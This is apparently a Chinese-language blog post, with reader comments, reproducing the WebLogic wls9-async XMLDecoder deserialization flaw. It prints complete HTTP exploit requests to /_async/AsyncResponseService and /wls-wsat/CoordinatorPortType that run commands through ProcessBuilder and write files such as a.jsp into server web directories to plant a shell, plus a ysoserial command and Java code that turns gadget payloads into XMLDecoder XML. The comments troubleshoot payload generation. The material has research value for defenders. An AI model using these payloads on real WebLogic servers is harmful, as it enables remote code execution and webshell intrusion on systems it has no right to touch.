WebLogic wls9-async 反序列化漏洞

背景

通过给出的解决方案得知,漏洞存在于 /_async/ 目录,代码位于 bea_wls9_async_response.war、wsat.war 两个包下。

有网友说只要/_async/AsyncResponseService 可以访问就说明可能存在漏洞。

所以问题已经很明显了

  • 反序列化
  • bea_wls9_async_response.war、wls-wsat.war
  • /_async/AsyncResponseService

wls-wsat 这个组件在之前就已经被曝过存在反序列化漏洞,CVE编号是:CVE-2017-10271

是由JDK的XMLDecoder引起的反序列化,不懂XMLDecoder可以参考 https://github.com/pwntester/XMLDecoder

由于这次的漏洞也是反序列化,漏洞地址是提供 SOAP Webservice服务的接口,也包含了 wls-wsat 组件,所以不难想象到他们俩是同一个问题。

影响范围

    Oracle WebLogic Server10.3.6.0.0
    Oracle WebLogic Server12.1.3.0.0
    Oracle WebLogic Server12.2.1.1.0
    Oracle WebLogic Server12.2.1.2.0

复现

首先本地安装 weblogic,过程不再赘述。

我是Windows系统,参考一步步安装。https://blog.csdn.net/qq_36868342/article/details/79967606

由于漏洞是和CVE-2017-10271同样的原因引起的。

所以完全可以使用 CVE-2017-10271 的POC

CVE-2017-10271 Getshell EXP

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.8.148:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Upgrade-Insecure-Requests: 1
Content-Type: text/xml
Content-Length: 756

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
         <java version="1.6.0" class="java.beans.XMLDecoder">
                    <object class="java.io.PrintWriter"> 
                        <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                        <string>xmldecoder_vul_test</string></void><void method="close"/>
                    </object>
            </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
</soapenv:Envelope>

先启动 weblogic 服务,默认会部署 wls9-async 组件

这里放上我的命令执行POC

POST /_async/AsyncResponseService HTTP/1.1
Host: 127.0.0.1:7001
Accept-Encoding: gzip, deflate
SOAPAction: 
Accept: */*
Connection: keep-alive
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>cmd</string></void><void index="1"><string>/c</string></void><void index="2"><string>calc</string></void></array><void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

在本地成功弹出了计算器。
1556029637(1).jpg

反编译一下存在漏洞的war包com.oracle.webservices.wls.bea-wls9-async-response_12.1.3.war

1556029984(1).jpg

给 weblogic 开启 debug 模式,在 idea 远程debug并给 xmldecoder 的 readObject 方法打上断点可以看到栈都走了那些方法。

1556032248(1).jpg

如果一个接口不成功,可以试试这三个接口

AsyncResponseServiceHttps
AsyncResponseService
AsyncResponseServiceJms

getshell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/a.jsp</string><void method="println"><string><![CDATA[123]]></string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope>

1556072974(1).jpg


2019.04.25 更新

自从漏洞被公开后陆陆续续出来了一些 POC

其中有一个比较长的


<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
 xmlns:wsa="http://www.w3.org/2005/08/addressing"
 xmlns:asy="http://www.bea.com/async/AsyncResponseService">
    <soapenv:Header>
 <wsa:Action>demoAction</wsa:Action>
 <wsa:RelatesTo>urn:uuid:91576FE2-4533-43CB-BFA1-51D2B631453A</wsa:RelatesTo>
 <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
 <java>
  <class>
    <string>oracle.toplink.internal.sessions.UnitOfWorkChangeSet</string>
<void>
    <array class="byte" length="1452">
<void index="0">
  <byte>-84</byte>
</void>
<void index="1">
  <byte>-19</byte>
</void>
<void index="2">
  <byte>0</byte>
</void>
<void index="3">
  <byte>5</byte>
</void>
//省略.....
<void index="1451">
  <byte>58</byte>
</void></array>
     </void>
    </class>
 </java>
 </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body>
            <asy:onAsyncDelivery/>
     </soapenv:Body>
</soapenv:Envelope>

但具体不知道是哪个版本的,我在 12.1.3 上没找到UnitOfWorkChangeSet这个类。

不过根据源码来看,构造方法就是将一个传入的 byte 数组再反序列化成IdentityHashtable对象。

http://kickjava.com/src/oracle/toplink/essentials/internal/sessions/UnitOfWorkChangeSet.java.htm

那么利用方式就很明显了:通过传入payload对象的字节码对象来反序列化。

这里我用ysoserial生成一个payload

java -jar ysoserial-master-ff59523eb6-1.jar CommonsCollections5 "calc" > E:/1.txt

然后再读取文件反序列化成java对象,再读取他的字节码,最后让xmlEncoder转成 xml格式。

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/4/24 12:09
 */
public class Test {

    public static void main(String[] args) throws Exception {

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("E:/1.txt"));
        Object o = objectInputStream.readObject();

        byte[] bytes = ObjectToByte(o);

        objectXmlEncoder(bytes , "E:/123.xml");

    }

    private static byte[] ObjectToByte(Object obj) {
        byte[] bytes = null;
        try {
            // object to bytearray
            ByteArrayOutputStream bo = new ByteArrayOutputStream();
            ObjectOutputStream oo = new ObjectOutputStream(bo);
            oo.writeObject(obj);

            bytes = bo.toByteArray();

            bo.close();
            oo.close();
        } catch (Exception e) {
            System.out.println("translation" + e.getMessage());
            e.printStackTrace();
        }
        return bytes;
    }

    public static void objectXmlEncoder(Object obj,String fileName)
            throws FileNotFoundException,IOException,Exception
    {


        java.io.File file = new java.io.File(fileName);
        if(!file.exists()){
            file.createNewFile();
        }



        java.io.BufferedOutputStream oop = new java.io.BufferedOutputStream(new java.io.FileOutputStream(file));
        java.beans.XMLEncoder xe = new java.beans.XMLEncoder(oop);
        xe.flush();
        //写入xml
        xe.writeObject(obj);
        xe.close();
        oop.close();
    }

}

1556175042(1).jpg

无需经过序列化生成xml payload

/**
 * @author 浅蓝
 * @email [email protected]
 * @since 2019/4/24 12:09
 */
public class Test{
    public static void main(String[] args) throws Exception {

        File file = new File("E:/1.txt");
        //读取ysoserial文件生成的payload
        FileInputStream fileInputStream = new FileInputStream(file);

        //初始化比特数组输出流
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream((int) file.length());

        int buf_size=1024;
        byte[] buffer=new byte[buf_size];
        int len=0;
        //读取文件中的内容转到byte数组输出流
        while(-1 != (len=fileInputStream.read(buffer,0,buf_size))){
            byteArrayOutputStream.write(buffer,0,len);
        }

        BufferedOutputStream oop = new BufferedOutputStream(new FileOutputStream(new File("E:/2.txt")));
        
        //使用jdk的xmlencoder把byte数组写入到 e:/2.txt
        XMLEncoder xmlEncoder = new XMLEncoder(oop);
        xmlEncoder.flush();
        xmlEncoder.writeObject(byteArrayOutputStream.toByteArray());
        xmlEncoder.close();
        byteArrayOutputStream.close();
        fileInputStream.close();

    }
}

Comments : 7

  1. lsa
    lsa 回复

    hi,我尝试导入了所有weblogic的jar包,都无法生成123.xml,报错Exception in thread "main" java.io.InvalidObjectException: Non-annotation type in annotation serial stream
    ......
    at java.io.ObjectInputStream.readObject0(Unknown Source)
    at java.io.ObjectInputStream.readObject(Unknown Source)
    at toxml.Toxml.main(Toxml.java:16)
    请问这要如何解决?
    //eclipse-jee-2018-12-r+win7+jdk8u201+您的代码

  2. 浅蓝

    很多朋友在复现的时候遇到了一些异常,这里大家一点建议。
    生成 payload 的过程是 :读取 ysoserial payload > 反序列化成 Java 对象 > 对象转 byte 数组 > XMLEncoder 生成 payload。
    根据问题来看基本上都是在第二步出的问题,因为需要再反序列化成 java 对象,如果当前运行的环境里和 ysoserial payload 有出入,可能会出现问题,所以需要保证运行环境里要和ysoserial payload的依赖版本对应。

    如果还是解决不了,建议直接读取字节码按照固定格式生成。

  3. lee
    lee 回复

    translationcom.sun.org.apache.xalan.internal.xsltc.runtime.Hashtable
    java.io.NotSerializableException: com.sun.org.apache.xalan.internal.xsltc.runtime.Hashtable

    java代码运行报错

      1. 浅蓝

        换jdk版本到1.8

  4. 非凡
    非凡 回复

    大佬好我想问一下这个代码报错
    XMLEncoder e = new XMLEncoder(
    new BufferedOutputStream(
    new FileOutputStream("Test.xml")));
    e.writeObject(new ProcessBuilder("calc"));
    e.close();

    把上面那个代码换成这个
    e.writeObject(new String("xxxxx"));
    不报错

    报错内容
    java.lang.InstantiationException: java.lang.ProcessBuilder
    Continuing ...
    java.lang.Exception: XMLEncoder: discarding statement XMLEncoder.writeObject(ProcessBuilder);
    Continuing ...
    我搜索了一下说是反射没有找到构造函数我看ProcessBuilder 有构造函数啊求大佬抽空解答一下。为很么不能这么生成

  5. 非凡
    非凡 回复

    大佬我明白了是不是这么理解 ProcessBuilder 没有继承Serializable接口所以报错了

      1. 浅蓝

        差不多是这个意思,即使继承了 serialaable 也不行,反序列化漏洞需要 gadget,不是随便new一个对象就能构成攻击效果的。

发表留言

如未标注转载则文章均为本人原创,转载前先吱声,未授权转载我就锤爆你狗头。

人生在世,错别字在所难免,无需纠正。